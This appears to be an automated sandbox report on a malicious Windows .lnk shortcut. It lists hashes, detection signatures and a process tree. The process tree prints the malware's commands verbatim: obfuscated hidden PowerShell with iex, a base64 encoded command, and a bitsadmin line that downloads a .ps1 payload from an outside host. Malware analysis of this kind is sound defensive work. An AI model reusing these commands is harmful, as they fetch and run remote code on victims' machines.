Analysis

  • max time kernel
    131s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:03

General

  • Target

    693af6c78d4d741fbd604f78c4d4dfcd_JaffaCakes118.lnk

  • Size

    2KB

  • MD5

    693af6c78d4d741fbd604f78c4d4dfcd

  • SHA1

    1369a8ec12f788b9df487e7500efcdb1aa18bb54

  • SHA256

    7a8c0421b30ede4d8c087a4273a1b2a707c118a5e7db97dfc9d04c0d9dc45791

  • SHA512

    acb95368819667942c435e968f930a274f3ce06b39a917c747360387c4259c71072b8f1ae2adafda32277658da84465f91c1befd493d8e4576ba6d35c229ed30

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\693af6c78d4d741fbd604f78c4d4dfcd_JaffaCakes118.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -eP ByPass -nonI -c "&{$u='fingstr' -replace 'g','d'; $t='powershell -wi"N "hi"dDen -c { '+$u+' /s jerdolikab c:\users\*.lnk}'; $e=iex "$t"; "$e"|iex}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -wiN hidDen -encodedCommand IABmAGkAbgBkAHMAdAByACAALwBzACAAagBlAHIAZABvAGwAaQBrAGEAYgAgAGMAOgBcAHUAcwBlAHIAcwBcACoALgBsAG4AawA= -inputFormat xml -outputFormat xml
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2956
        • C:\Windows\system32\findstr.exe
          "C:\Windows\system32\findstr.exe" /s jerdolikab c:\users\*.lnk
          4⤵
            PID:1336
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /C echo 1 > C:\Users\Admin\AppData\Roaming\\d & bitsadmin /wrap /transfer jerdolikab /download /priority FOREGROUND "https://dkempton.com/kengur/arbojam" C:\Users\Admin\AppData\Roaming\\wKYSIZxhacvyRt.ps1 & del C:\Users\Admin\AppData\Roaming\\d & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2400
          • C:\Windows\system32\bitsadmin.exe
            bitsadmin /wrap /transfer jerdolikab /download /priority FOREGROUND "https://dkempton.com/kengur/arbojam" C:\Users\Admin\AppData\Roaming\\wKYSIZxhacvyRt.ps1
            4⤵
            • Download via BitsAdmin
            PID:4532

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3zlobbsi.p5u.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/940-2-0x00007FFF04093000-0x00007FFF04095000-memory.dmp

      Filesize

      8KB

    • memory/940-12-0x0000016BE4BE0000-0x0000016BE4C02000-memory.dmp

      Filesize

      136KB

    • memory/940-13-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

      Filesize

      10.8MB

    • memory/940-14-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

      Filesize

      10.8MB

    • memory/940-28-0x0000016BE4C20000-0x0000016BE4E3C000-memory.dmp

      Filesize

      2.1MB

    • memory/940-30-0x00007FFF04093000-0x00007FFF04095000-memory.dmp

      Filesize

      8KB

    • memory/940-31-0x00007FFF04090000-0x00007FFF04B51000-memory.dmp

      Filesize

      10.8MB

    • memory/2956-26-0x00000173F84E0000-0x00000173F86FC000-memory.dmp

      Filesize

      2.1MB